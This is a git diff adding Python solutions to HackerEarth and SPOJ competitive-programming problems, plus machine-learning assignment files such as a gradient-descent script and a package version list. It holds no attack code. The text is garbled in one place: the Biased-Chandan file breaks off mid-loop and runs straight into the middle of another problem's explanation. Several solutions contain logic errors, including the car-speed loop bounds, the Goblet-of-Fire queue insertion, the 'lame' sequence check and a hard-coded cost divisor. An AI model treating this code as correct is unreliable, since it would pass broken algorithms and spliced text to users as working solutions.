b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P06_RajanAndOddFrequencyNumber.py new file mode 100644 index 0000000..924380a --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P06_RajanAndOddFrequencyNumber.py @@ -0,0 +1,25 @@ +# Given an array of numbers of size (2*n+1).Raja is unable to find the number which is present odd number of times.It is guaranteed that only one such number exists.Can you help Raja in finding the number which is present odd number of times? + +# Input +# First line contains value of n. +# Second line contains (2*n+1) array elements. +# Output +# Print the required number. +# Constraints +# 1≤ n ≤ +# 1≤ a[i] ≤ + +# SAMPLE INPUT +# 2 +# 1 2 3 2 1 +# SAMPLE OUTPUT +# 3 +# Explanation +# For first input only 3 is the number which is present odd number of times. + +a=int(input()) +b=list(map(int,input().split())) +d=b[0] +for i in range(1,len(b)): + d=d^b[i] +print(d) diff --git a/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P07_SherlockAndXOR.py b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P07_SherlockAndXOR.py new file mode 100644 index 0000000..56f5d4d --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P07_SherlockAndXOR.py @@ -0,0 +1,36 @@ +# You are given an array A1,A2...AN. You have to tell how many pairs (i, j) exist such that 1 ≤ i < j ≤ N and Ai XOR Aj is odd. + +# Input and Output +# First line T, the number of testcases. Each testcase: first line N, followed by N integers in next line. For each testcase, print the +# required answer in one line. + +# Constraints +# 1 ≤ T ≤ 10 +# 1 ≤ N ≤ 105 +# 0 ≤ Ai ≤ 109 + +# SAMPLE INPUT +# 2 +# 3 +# 1 2 3 +# 4 +# 1 2 3 4 +# SAMPLE OUTPUT +# 2 +# 4 +# Explanation +# For first testcase: 1 XOR 2 is 3 and 2 XOR 3 is 1. So, 2 valid pairs. For second testcase: 1 XOR 2 is 3 and 2 XOR 3 is 1 and 1 XOR 4 is 5 +# and 3 XOR 4 is 7. So, 4 valid pairs. + +for _ in range (int(input())): + a=int(input()) + b=list(map(int,input().split())) + ans=0 + a2=0 + for i in range(0,a): + if(b[i]&1): + ans+=1 + else: + a2+=1 + + print(ans*a2) diff --git a/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P08_XorAndProject.py b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P08_XorAndProject.py new file mode 100644 index 0000000..bbecdba --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P08_XorAndProject.py @@ -0,0 +1,42 @@ +# A project was going on related to image processing and to perform experiments and get desired result the image needs to be converted to +# Gray-Scale using a parameter 'x' and the function P(x) represented the Gray-Code and calculated via x xor (x div 2) where xor stands for +# bitwise exclusive OR (bitwise modulo 2 addition), and div means integer division. + +# It is interesting to note that function P(x) is invertible, which means it is always possible to uniquely restore x given the value of +# P(x). + +# So the group working on the project forgot to keep the original data related to parameter 'x'. Write a program to restore number x from +# the given value of P(x). + +# INPUT: +# The input file contains an integer number y, the value of G(x). + +# OUTPUT: +# The output file should contain a single integer x such that G(x) = y. + +# CONSTRAINTS: +# 0 ≤ x,P(x) ≤ . + +# SAMPLE INPUT +# 15 +# SAMPLE OUTPUT +# 10 + +a=int(input()) +a=bin(a).replace("0b","") +c=[int(i) for i in str(a)] +d=[] +e=c[0] +for i in range(0,len(a)): + if(i==0): + d.append(c[i]) + else: + f=c[i]^e + d.append(f) + e=f +e=1 +g=0 +for i in range(0,len(a)): + g=g+d[len(a)-i-1]*e + e=e*2 +print(g) diff --git a/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P09_LuckyNumbers.py b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P09_LuckyNumbers.py new file mode 100644 index 0000000..20378c2 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/Bit_Manipulation/P09_LuckyNumbers.py @@ -0,0 +1,44 @@ +# Golu wants to find out the sum of Lucky numbers.Lucky numbers are those numbers which contain exactly two set bits.This task is very +# diffcult for him.So Help Golu to find sum of those numbers which exactly contain two set bits upto a given number N. + +# 3 5 10 are lucky numbers where 7 14 are not. + +# INPUT +# First line contain number of test cases T.Each test case contains a single number N. +# OUTPUT +# Print sum of all Lucky Numbers upto N.Output may be large so take modulo with 1000000007. + +# Constraints +# 1<=T<=105 +# 1<=N<=1018 + +# NOTE: Since value of test cases and n is really large, please use fast I/O optimization techniques. + +# SAMPLE INPUT +# 1 +# 5 +# SAMPLE OUTPUT +# 8 + +import collections +for _ in range(int(input())): + + sum = 0 + mod = 1000000007 + n = int(input()) + j = bin(n) + bl = len(j) - 2 + + + while bl > 0: + lo = bl - 2 + + while lo >= 0: + i = '1' + ('0' * lo) + ('1' ) + ('0' * (bl - lo - 2)) + + if int(i,2) <= n : + sum = (sum + int(i,2)) + lo -= 1 + + bl -= 1 + print(sum % mod) diff --git a/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P06_Biased-Chandan.py b/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P06_Biased-Chandan.py new file mode 100644 index 0000000..42a052f --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P06_Biased-Chandan.py @@ -0,0 +1,64 @@ +# Chandan is an extremely biased person, and he dislikes people who fail to solve all the problems in the interview he +# takes for hiring people. There are n people on a day who came to be interviewed by Chandan. +# +# Chandan rates every candidate from 0 to 10. He has to output the total ratings of all the people who came in a day. +# But, here's the problem: Chandan gets extremely frustrated when someone ends up scoring a 0 in the interview. So in +# frustration he ends up removing the candidate who scored that 0, and also removes the candidate who came before him. +# If there is no candidate before the one who scores a 0, he does nothing. +# +# You've to find the summation of all the ratings in a day for Chandan. +# +# Input constraints: +# The first line of input will contain an integer — n. The next n lines will contain an integer, where the ith integer +# represents the rating of the ith person. +# +# Output constraints: +# Print the required sum. +# +# Constraints: +# 1 ≤ n ≤5 * 103 +# 0 ≤ Value of ratings ≤10 +# +# SAMPLE INPUT +# 5 +# 2 +# 3 +# 0 +# 7 +# 0 + +# using for loop +myArray = [] +sumAll = 0 +countZero = 0 + +for i in range(int(input())): + myInput = int(input()) + if myInput == 0: + if countZero > 0: + if countZero == 1: + continue + else: + sumAll -= myArray[countZero - 1] + del myArray[countZero - 1] + countZero -= 1 + else: + myArray.append(myInput) + sumAll += myInput + countZero += 1 + +print(sum(myArray)) + +# using while loop +n=int(input()) +i=0 +a=[] +while i6. Monk then +# solves the question 3 , but stops at 4 because A[4]>6 and question 2 was already skipped. As 3 questions (0,1 and 3) +# were solved and 2 questions (2 and 4) have been skipped, therefore we print "3". + + +n, x = map(int, input().split()) +questions = input().split() +count = 0 +skip = 0 +for i in range(n): + if int(questions[i]) > x: + skip += 1 + if skip == 2: + break + else: + count += 1 + +print(count) diff --git a/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P08_Speed.py b/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P08_Speed.py new file mode 100644 index 0000000..4ce9740 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P08_Speed.py @@ -0,0 +1,58 @@ +# Rash is known about his love for racing sports. He is an avid Formula 1 fan. He went to watch this year's Indian +# Grand Prix at New Delhi. He noticed that one segment of the circuit was a long straight road. It was impossible for a +# car to overtake other cars on this segment. Therefore, a car had to lower down its speed if there was a slower car in +# front of it. While watching the race, Rash started to wonder how many cars were moving at their maximum speed. +# Formally, you're given the maximum speed of N cars in the order they entered the long straight segment of the circuit. +# Each car will prefers to move at its maximum speed. If that's not possible because of the front car being slow, it +# might have to lower its speed. It still moves at the fastest possible speed while avoiding any collisions. For the +# purpose of this problem, you can assume that the straight segment is infinitely long. Count the number of cars which +# were moving at their maximum speed on the straight segment. +# +# Input +# +# The first line of the input contains a single integer T denoting the number of test cases to follow. Description of +# each test case contains 2 lines. The first of these lines contain a single integer N, the number of cars. The second +# line contains N space separated integers, denoting the maximum speed of the cars in the order they entered the long +# straight segment. +# +# Output +# +# For each test case, output a single line containing the number of cars which were moving at their maximum speed on +# the segment. +# +# Constraints +# +# 1≤T≤100 +# 1≤N≤105 +# 1≤speed≤109 +# +# SAMPLE INPUT +# 3 +# 1 +# 10 +# 3 +# 8 3 6 +# 5 +# 4 5 1 2 3 +# +# SAMPLE OUTPUT +# 1 +# 2 +# 2 + +testCases = int(input()) +for _ in range(testCases): + n = input() + myList = [] + count = 0 + check = input().split() + if len(check) == 1: + print(1) + else: + max = int(check[0]) + for i in range(1, len(check) - 1): + if int(check[i]) <= max: + count += 1 + max = int(check[i]) + + print(count + 1) diff --git a/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P09_Modift-Sequence.py b/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P09_Modift-Sequence.py new file mode 100644 index 0000000..c07bc99 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P09_Modift-Sequence.py @@ -0,0 +1,49 @@ +# Suppose we have a sequence of non-negative integers, Namely a_1, a_2, ... ,a_n. At each time we can choose one term +# a_i with 0 < i < n and we subtract 1 from both a_i and a_i+1. We wonder whether we can get a sequence of all zeros +# after several operations. +# +# Input +# +# The first line of test case is a number N. (0 < N <= 10000) The next line is N non-negative integers, 0 <= a_i <= 109 +# +# Output +# +# If it can be modified into all zeros with several operations output “YES” in a single line, otherwise output “NO” +# instead. +# +# SAMPLE INPUT +# 2 +# 1 2 +# +# SAMPLE OUTPUT +# NO + +# Best Solution +n= int(input()) +num= list(map(int, input().split(' '))) +single_num= 0 +for i in range(n): + single_num += num[i]*(10**i) +if int(single_num)%11 ==0: + print("YES") +else: + print('NO') + +# You are subtracting 1 from both adjacent digits and you have to get zeroes. That just means the number should be +# multiple of 11. +# To better understand this, do the reverse. Take some number of zeroes like 000000 and add 1 to some pair of adjacent +# digits, in any way you like. (eg, first like 000011, then 000132, then 011132 etc). In the end, apply the test of +# divisibility of 11 to that number. You will find that the number will always be divisible by 11. That's what I did in +# the code. + +# Average (lame) way +skip = input() +array = input().split() +array = [int(i) for i in array] +check = array[0] +if check == 0: + print('YES') +elif array.count(array[0]) == len(array) and len(array) > 1: + print('YES') +else: + print('NO') diff --git a/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P10_Transpose.py b/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P10_Transpose.py new file mode 100644 index 0000000..280df7e --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P10_Transpose.py @@ -0,0 +1,36 @@ +# Given a 2D array A, your task is to convert all rows to columns and columns to rows. +# +# Input: +# First line contains 2 space separated integers, N - total rows, M - total columns. +# Each of the next N lines will contain M space separated integers. +# +# Output: +# Print M lines each containing N space separated integers. +# +# Constraints: +# 1≤N≤10 +# 1≤M≤10 +# 0≤A[i][j]≤100 where +# 1≤i≤N and +# 1≤j≤M +# +# SAMPLE INPUT +# 3 5 +# 13 4 8 14 1 +# 9 6 3 7 21 +# 5 12 17 9 3 +# +# SAMPLE OUTPUT +# 13 9 5 +# 4 6 12 +# 8 3 17 +# 14 7 9 +# 1 21 3 + +n, m = map(int, input().split()) +matrix = [] +for i in range(n): + matrix.append([int(i) for i in input().split()]) +matrix = zip(*matrix) +for row in matrix: + print(' '.join([str(i) for i in row])) diff --git a/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P11_JumpOut.py b/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P11_JumpOut.py new file mode 100644 index 0000000..acda653 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/DataStructures/Arrays/P11_JumpOut.py @@ -0,0 +1,37 @@ +# You have a field of N boosters. The power of ith booster is given as Ai. If you stand on ith booster, you will get the +# power Ai and you can make a jump of length Ai. That is, if you are standing on 3rd booster and it's power is 5, then +# you will land on position 8. Currently, you are standing outside the field to the left of first booster and you want +# to across this field by reaching to the right of Nth booster. You want to make only one jump to any booster such that +# you will finally land to right of Nth booster. Print the minimum length of initial jump you should make such that you +# will finally land outside the field by using exactly one booster. +# +# INPUT: +# First line of input consists of integer N. Next line consists of N integers A1, A2...AN. +# +# OUTPUT: +# Output the minimum length of jump you should make such that you will finally land outside the field using exactly 1 +# booster. +# +# CONSTRAINTS: +# 1 ≤ N ≤ 104 +# 1 ≤ Ai ≤ 104 +# +# SAMPLE INPUT +# 5 +# 4 2 4 2 3 +# +# SAMPLE OUTPUT +# 3 + +check = int(input()) +array = input().split() +array = [int(i) for i in array] +array.insert(0,0) +count = 0 +for i in range(0, check + 1): + pos = array[i] + i + if pos > check: + count = i + break + +print(count) diff --git a/CompetitiveProgramming/HackerEarth/DataStructures/Queue/P01_Queue.py b/CompetitiveProgramming/HackerEarth/DataStructures/Queue/P01_Queue.py new file mode 100644 index 0000000..917fd1d --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/DataStructures/Queue/P01_Queue.py @@ -0,0 +1,52 @@ +# You have to perform N operations on a queue of the following types: E x : Enqueue x in the queue and +# print the new size of the queue. D : Dequeue from the queue and print the element that is deleted and +# the new size of the queue separated by a space. If there is no element in the queue, then print −1 in +# place of the deleted element. +# +# Input format +# First line: N +# Next N lines: One of the above operations +# +# Output format +# Enqueue operation: Print the new size of the queue +# Dequeue operation: Print two integers, the deleted element and the new size of the queue. If the queue is +# empty, print −1 and the new size of the queue. +# +# Constraints +# 1≤N≤100 +# 1≤x≤100 +# +# SAMPLE INPUT +# 5 +# E 2 +# D +# D +# E 3 +# D +# +# SAMPLE OUTPUT +# 1 +# 2 0 +# -1 0 +# 1 +# 3 0 + +def enqueue(myList, element): + myList.insert(0, element) + +def dequeue(myList): + if len(myList) > 0: + return myList.pop() + else: + return -1 + +myList = [] + +for _ in range(int(input())): + userInput = input().split() + if userInput[0] == 'E': + enqueue(myList, int(userInput[1])) + print(len(myList)) + else: + deleted = dequeue(myList) + print(deleted, len(myList)) diff --git a/CompetitiveProgramming/HackerEarth/DataStructures/Queue/P02_MonkAndGobletOfFire.py b/CompetitiveProgramming/HackerEarth/DataStructures/Queue/P02_MonkAndGobletOfFire.py new file mode 100644 index 0000000..a5e2479 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/DataStructures/Queue/P02_MonkAndGobletOfFire.py @@ -0,0 +1,61 @@ +# Albus Dumbledore announced that the school will host the legendary event known as Wizard Tournament where +# four magical schools are going to compete against each other in a very deadly competition by facing some +# dangerous challenges. Since the team selection is very critical in this deadly competition. Albus +# Dumbledore asked Little Monk to help him in the team selection process. There is a long queue of students +# from all the four magical schools. Each student of a school have a different roll number. Whenever a +# new student will come, he will search for his schoolmate from the end of the queue. As soon as he will +# find any of the schoolmate in the queue, he will stand behind him, otherwise he will stand at the end of +# the queue. At any moment Little Monk will ask the student, who is standing in front of the queue, to +# come and put his name in the Goblet of Fire and remove him from the queue. There are Q operations of +# one of the following types: +# +# E x y: A new student of school x (1≤x≤4) whose roll number is (1≤y≤50000) will stand in queue according +# to the method mentioned above. +# +# D: Little Monk will ask the student, who is standing in front of the queue, to come and put his name in +# the Goblet of Fire and remove him from the queue +# +# Now Albus Dumbledore asked Little Monk to tell him the order in which student put their name. Little Monk +# is too lazy to that so he asked you to write a program to print required order. +# +# Note: Number of dequeue operations will never be greater than enqueue operations at any point of time. +# +# Input Format: +# First line contains an integer Q (1≤Q≤100000), denoting the number of operations. Next Q lines will contains +# one of the 2 types of operations. +# +# Output Format: +# For each 2nd type of operation, print two space separated integers, the front student's school and roll number. +# +# SAMPLE INPUT +# 5 +# E 1 1 +# E 2 1 +# E 1 2 +# D +# D +# +# SAMPLE OUTPUT +# 1 1 +# 1 2 + +def enqueue(myList, element): + try: + index = [x for x, y in enumerate(myList) if x == element[0]] + myList.insert(int(''.join([str(x) for x in index])), element) + except ValueError: + myList.insert(0, element) + +def dequeue(myList): + if len(myList) > 0: + return myList.pop() + +myList = [] + +for _ in range(int(input())): + userInput = input().split() + if userInput[0] == 'E': + enqueue(myList, [int(userInput[1]), int(userInput[2])]) + else: + deleted = dequeue(myList) + print(' '.join([str(element) for element in deleted])) diff --git a/CompetitiveProgramming/HackerEarth/DataStructures/Stack/P01_Monk'sLoveForFood.py b/CompetitiveProgramming/HackerEarth/DataStructures/Stack/P01_Monk'sLoveForFood.py new file mode 100644 index 0000000..19f2bd1 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/DataStructures/Stack/P01_Monk'sLoveForFood.py @@ -0,0 +1,52 @@ +# Our monk loves food. Hence,he took up position of a manager at Sagar,a restaurant that serves people with delicious +# food packages. It is a very famous place and people are always queuing up to have one of those packages. Each package +# has a cost associated with it. The packages are kept as a pile. The job of a manager is very difficult. He needs to +# handle two types of queries: +# +# 1) Customer Query: +# When a customer demands a package, the food package on the top of the pile is given and the customer is charged +# according to the cost of the package. This reduces the height of the pile by 1. +# In case the pile is empty, the customer goes away empty-handed. +# +# 2) Chef Query: +# The chef prepares a food package and adds it on top of the pile. And reports the cost of the package to the Manager. +# Help him manage the process. +# +# Input: +# First line contains an integer Q, the number of queries. Q lines follow. +# A Type-1 ( Customer) Query, is indicated by a single integer 1 in the line. +# A Type-2 ( Chef) Query, is indicated by two space separated integers 2 and C (cost of the package prepared) . +# +# Output: +# For each Type-1 Query, output the price that customer has to pay i.e. cost of the package given to the customer in a +# new line. If the pile is empty, print "No Food" (without the quotes). +# +# Constraints: +# 1 ≤ Q ≤ 105 +# 1 ≤ C ≤ 107 +# +# SAMPLE INPUT +# 6 +# 1 +# 2 5 +# 2 7 +# 2 9 +# 1 +# 1 +# +# SAMPLE OUTPUT +# No Food +# 9 +# 7 + +stack = [] +for _ in range(int(input())): + query = [int(i) for i in input().split()] + if query[0] == 1: + if stack == []: + print('No Food') + else: + ans = stack.pop() + print(ans) + elif query[0] == 2: + stack.append(query[1]) diff --git a/CompetitiveProgramming/HackerEarth/DataStructures/Stack/P02_MonkAndPhilosopher'sStone.py b/CompetitiveProgramming/HackerEarth/DataStructures/Stack/P02_MonkAndPhilosopher'sStone.py new file mode 100644 index 0000000..8a63638 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/DataStructures/Stack/P02_MonkAndPhilosopher'sStone.py @@ -0,0 +1,75 @@ +# Harry Potter wants to get the Philosopher's stone to protect it from Snape. Monk being the guard of Philosopher's +# Stone is very greedy and has a special bag, into which he can add one gold coin at a time or can remove the last +# gold coin he added. Monk will sleep, once he will have the enough number of gold coins worth amount X. To help Harry, +# Dumbledore has given a same kind of bag to Harry (as of Monk) with N gold coins each having worth A[i] where i range +# from 1≤i≤N. +# +# Dumbledore also gave him a set of instructions which contains two types of strings: +# 1) "Harry" (without quotes): It means Harry will remove ith coin from his bag and throw it towards Monk and Monk will +# add it in his bag, where i will start from 1 and go up to N. +# 2) "Remove" (without quotes): it means Monk will remove the last coin he added in his bag. +# Once the worth of the coins in Monk's bag becomes equal to X, Monk will go to sleep. In order to report Dumbledore, +# Harry wants to know the number of coins in Monk's bag, the first time their worth becomes equal to X. +# +# Help Harry for the same and print the required number of coins. If the required condition doesn't occur print "-1" +# (without quotes). +# +# Input: +# The first line will consists of one integer N denoting the number of gold coins in Harry's Bag. +# Second line contains N space separated integers, denoting the worth of gold coins. +# Third line contains 2 space separated integers Q and X, denoting the number of instructions and the value of X +# respectively. +# In next Q lines, each line contains one string either "Harry" (without quotes) or "Remove" (without quotes). +# +# Output: +# In one line, print the the number of coins in the Monk's bag, the first time their worth becomes equal to X. +# +# Constraints: +# 1≤N≤104 +# 1≤A[i]≤104 +# 1≤Q≤105 +# 1≤X≤107 +# +# SAMPLE INPUT +# 4 +# 3 1 1 4 +# 6 7 +# Harry +# Harry +# Harry +# Remove +# Remove +# Harry +# +# SAMPLE OUTPUT +# 2 +# +# Explanation +# Initailly, set of instructions contains "Harry", then Harry will throw 1st coin to Monk which is of worth 3 . +# Similarly Monk will have 2nd and 3rd gold coin in its bag, both having worth 1. +# +# Now set contains "Remove" 2 times, which means Monk will remove 3rd and 2nd coin, both having worth 1. +# Now Harry will throw 4th coin towards Monk having worth 4. Now the Monk's bag contains 2 coins with worth 3 and 4, +# which is equal to worth 7. +# So the answer is 2. + +n = int(input()) +harry = [int(i) for i in input().split()] +q, x = map(int, input().split()) +monk = [] +j = 0 +for i in range(q): + inst = input() + if inst == 'Harry': + monk.append(harry[j]) + j += 1 + elif inst == 'Remove': + monk.pop() + if sum(monk) == x: + print(len(monk)) + break + else: + continue + +if sum(monk) != x: + print(-1) diff --git a/CompetitiveProgramming/HackerEarth/DataStructures/Stack/P03_LittleMonkAndBalancedParentheses.py b/CompetitiveProgramming/HackerEarth/DataStructures/Stack/P03_LittleMonkAndBalancedParentheses.py new file mode 100644 index 0000000..438beb3 --- /dev/null +++ b/CompetitiveProgramming/HackerEarth/DataStructures/Stack/P03_LittleMonkAndBalancedParentheses.py @@ -0,0 +1,46 @@ +# Given an array of positive and negative integers, denoting different types of parentheses. The positive numbers +# xi denotes opening parentheses of type xi and negative number −xi denotes closing parentheses of type xi. +# +# Open parentheses must be closed by the same type of parentheses. Open parentheses must be closed in the correct order, i.e., never close an open pair before its inner pair is closed (if it has an inner pair). Thus, +# [1,2,−2,−1] is balanced, while [1,2,−1,−2] is not balanced. +# +# You have to find out the length of the longest subarray that is balanced. +# +# Input Format: +# First line contains an input (1≤N≤2∗105), denoting the number of parentheses. Second line contains N space separated +# integers. (−105≤xi≤105,xi≠0) denoting the ith parentheses of the array. +# +# Output Format: +# Print the length of the longest subarray that is balanced. +# +# SAMPLE INPUT +# 5 +# 1 -1 2 3 -2 +# +# SAMPLE OUTPUT +# 2 +# +# Explanation +# The longest subarray that is balanced is (1,−1). (2,3,−2) is not balanced as (3) is not balanced + +n = int(input().strip()) +lst = list(map(int,input().split())) +l = [] +max_balanced = 0 +current_balance = 0 + +for element in lst: + if element > 0: + if current_balance > 0 and len(l): + current_balance = 0 + l.append(element) + elif len(l): + peek_element = l.pop() + if peek_element == -(element): + current_balance += 1 + else: + current_balance = 0 + l = [] + if current_balance > max_balanced: + max_balanced = current_balance +print(max_balanced * 2) diff --git a/CompetitiveProgramming/README.md b/CompetitiveProgramming/README.md index a8158a4..0cac612 100644 --- a/CompetitiveProgramming/README.md +++ b/CompetitiveProgramming/README.md @@ -1,12 +1,12 @@ -# Competitive Programminng +# Competitive Programming This is my collection of Python Programs that I have solved on various competitive programming websites.
Each file contains a unique problem statement and its corresponding solution/solutions. For beginners I would recommend: -* Start with HackerEarth -* Then move on to SPOJ -* Lastly solve CodeChef (_skip easy_) +* Start with [HackerEarth](https://www.hackerearth.com/challenges/) +* Then move on to [SPOJ](http://www.spoj.com/problems/classical/) +* Lastly solve [CodeChef](https://www.codechef.com/problems/easy) Omkar Pathak,
Pune, Maharashtra, India.
diff --git a/CompetitiveProgramming/SPOJ/P13_AVRG.py b/CompetitiveProgramming/SPOJ/P13_AVRG.py new file mode 100644 index 0000000..1c4f21c --- /dev/null +++ b/CompetitiveProgramming/SPOJ/P13_AVRG.py @@ -0,0 +1,5 @@ +sum=0 +for i in range (0,6): + a=int(input()) + sum+=a +print(sum/6) diff --git a/CompetitiveProgramming/SPOJ/P14_MUL.py b/CompetitiveProgramming/SPOJ/P14_MUL.py new file mode 100644 index 0000000..735e492 --- /dev/null +++ b/CompetitiveProgramming/SPOJ/P14_MUL.py @@ -0,0 +1,5 @@ +t = int(input()) +while t>0: + t-=1 + n1, n2 = map(int, input().split()) + print(n1*n2) diff --git a/CompetitiveProgramming/SPOJ/P15_PRADIPSUM.py b/CompetitiveProgramming/SPOJ/P15_PRADIPSUM.py new file mode 100644 index 0000000..a4b78da --- /dev/null +++ b/CompetitiveProgramming/SPOJ/P15_PRADIPSUM.py @@ -0,0 +1,19 @@ +def sum(x): + if x < 0: + return -(-x * (-x + 1) // 2) + else: + return x * (x + 1) // 2 + +while True: + try: + a, b = map(int, input().split()) + if a > b: + a, b = b, a + if b < 0: + print(sum(a) - sum(b + 1)) + elif a <= 0: + print(sum(b) + sum(a)) + else: + print(sum(b) - sum(a - 1)) + except EOFError: + exit(0) diff --git a/MachineLearning/gradient_descent.py b/MachineLearning/gradient_descent.py new file mode 100644 index 0000000..6c89d92 --- /dev/null +++ b/MachineLearning/gradient_descent.py @@ -0,0 +1,102 @@ +#################################################################################### +## PROBLEM1: Gradient Descent +## Gradient descent is a popular optimization technique to solve many +## machine learning problems. In this case, we will explore the gradient +## descent algorithm to fit a line for the given set of 2-D points. +## ref: https://tinyurl.com/yc4jbjzs +## ref: https://spin.atomicobject.com/2014/06/24/gradient-descent-linear-regression/ +## +## +## input: directory of faces in ./data/1_points.csv/ +## function for reading points is provided +## +## +## your task: fill the following functions: +## evaluate_cost +## evaluate_gradient +## udpate_params +## NOTE: do NOT change values of 'init_params' and 'max_iterations' in optimizer +## +## +## output: cost after convergence (rmse, lower the better) +## +## +## NOTE: all required modules are imported. DO NOT import new modules. +## NOTE: references are given intline +## tested on Ubuntu14.04, 22Oct2017, Abhilash Srikantha +#################################################################################### + +import numpy as np +import matplotlib.pyplot as plt +import time + +def load_data(fname): + points = np.loadtxt(fname, delimiter=',') + y_ = points[:,1] + # append '1' to account for the intercept + x_ = np.ones([len(y_),2]) + x_[:,0] = points[:,0] + # display plot + #plt.plot(x_[:,0], y_, 'ro') + #plt.xlabel('x-axis') + #plt.ylabel('y-axis') + #plt.show() + print('data loaded. x:{} y:{}'.format(x_.shape, y_.shape)) + return x_, y_ + +def evaluate_cost(x_,y_,params): + tempcost = 0 + for i in range(len(y_)): + tempcost += (y_[i] - ((params[0] * x_[i,0]) + params[1])) ** 2 + return tempcost / float(10000) + +def evaluate_gradient(x_,y_,params): + m_gradient = 0 + b_gradient = 0 + N = float(len(y_)) + for i in range(len(y_)): + m_gradient += -(2/N) * (x_[i,0] * (y_[i] - ((params[0] * x_[i,0]) + params[1]))) + b_gradient += -(2/N) * (y_[i] - ((params[0] * x_[i,0]) + params[1])) + return [m_gradient,b_gradient] + +def update_params(old_params, grad, alpha): + new_m = old_params[0] - (alpha * grad[0]) + new_b = old_params[1] - (alpha * grad[1]) + return [new_m,new_b] + +# initialize the optimizer +optimizer = {'init_params':np.array([4.5,2.0]) , + 'max_iterations':10000, + 'alpha':0.69908, + 'eps':0.0000001, + 'inf':1e10} + +# load data +x_, y_ = load_data("./data/1_points.csv") + +# time stamp +start = time.time() + +try: + # gradient descent + params = optimizer['init_params'] + old_cost = 1e10 + for iter_ in range(optimizer['max_iterations']): + # evaluate cost and gradient + cost = evaluate_cost(x_,y_,params) + grad = evaluate_gradient(x_,y_,params) + # display + if(iter_ % 10 == 0): + print('iter: {} cost: {} params: {}'.format(iter_, cost, params)) + # check convergence + if(abs(old_cost - cost) < optimizer['eps']): + break + # udpate parameters + params = update_params(params,grad,optimizer['alpha']) + old_cost = cost +except: + cost = optimizer['inf'] + +# final output +print('time elapsed: {}'.format(time.time() - start)) +print('cost at convergence: {} (lower the better)'.format(cost)) diff --git a/MachineLearning/readme.txt b/MachineLearning/readme.txt new file mode 100644 index 0000000..590f033 --- /dev/null +++ b/MachineLearning/readme.txt @@ -0,0 +1,30 @@ +The assignment consists of three problems based on basic machine learning and computer vision. +Numerous problems in these areas are well studied in statistics and applied mathematics. +Solutions are to be implemented in python by filling out required functions in each python file. +A basic framework for data i/o and evaluation is already provided (see header comments in each python file). +Please note that all required libraries are already imported so please DO NOT import anything new. + +The four problems are briefly discussed below. + +1. Gradient Descent: This is a popular optimization problem to find solutions to differentiable equations. +Typically, learning problems involve minimizing a cost function by appropriately setting model parameters. +In this task, we are given a set of (noisy) points on a line and we wish to retrieve model parameters (intercept and slope) through gradient descent. +Please refer to 'gradient_descent.py' and inline comments for further details. + +2. Eigenfaces: This is a popular application of learning a basis representation of input data. +The application of this technique is the basis for simple recognition/compression algorithms. +In this task, we want to learn orthonormal basis using PCA of images that correspond to faces. +Please refer to 'eigenfaces.py' and inline comments for further details. + +3. Classification: This is among the basic tasks of machine learning problems. +Here, we will learn a classifier to using groundtruth labels on the training data to be able to distinguish between two object classes. +You will use the scikit library to learn two classifiers (svm and random forest). +Feel free to explore the parameters of both models to maximize classifier performance. +Please refer to 'classification.py' and inline comments for further details. + +4. Disparity map: This is among the basic tasks of 3D computer vision +Here, given two differnce perspectives of the same scene, we will reconstruct an approximate of the depth map. +This is called the disparity map (higher disparity is similar to lower depth). +You will use the scikit library to implement the module. Feel free to explore the parameters 'downsample' and 'patchsize' +Please refer to disparity.py and inline comments for further details. + diff --git a/MachineLearning/version_list.txt b/MachineLearning/version_list.txt new file mode 100644 index 0000000..146455c --- /dev/null +++ b/MachineLearning/version_list.txt @@ -0,0 +1,109 @@ +alabaster==0.7.10 +angles==1.9.11 +astroid==1.5.3 +Babel==2.5.0 +backports.weakref==1.0rc1 +bleach==1.5.0 +chardet==3.0.4 +configparser==3.5.0 +cycler==0.10.0 +decorator==4.1.2 +docutils==0.14 +entrypoints==0.2.3 +html5lib==0.9999999 +imagesize==0.7.1 +imutils==0.4.3 +ipykernel==4.6.1 +ipython==6.1.0 +ipython-genutils==0.2.0 +ipywidgets==6.0.0 +isort==4.2.15 +jedi==0.10.2 +Jinja2==2.9.6 +jsonschema==2.6.0 +jupyter==1.0.0 +jupyter-client==5.1.0 +jupyter-console==5.2.0 +jupyter-core==4.3.0 +lazy-object-proxy==1.3.1 +lxml==3.8.0 +Mako==1.0.6 +Markdown==2.6.9 +MarkupSafe==1.0 +matplotlib==2.0.2 +mistune==0.7.4 +mock==2.0.0 +mpmath==0.19 +nbconvert==5.2.1 +nbformat==4.4.0 +networkx==1.11 +nose==1.3.7 +notebook==5.0.0 +numpy==1.13.1 +numpydoc==0.7.0 +olefile==0.44 +opencv==1.0.1 +pandas==0.20.3 +pandocfilters==1.4.2 +pbr==3.1.1 +pexpect==4.2.1 +pickleshare==0.7.4 +Pillow==3.4.2 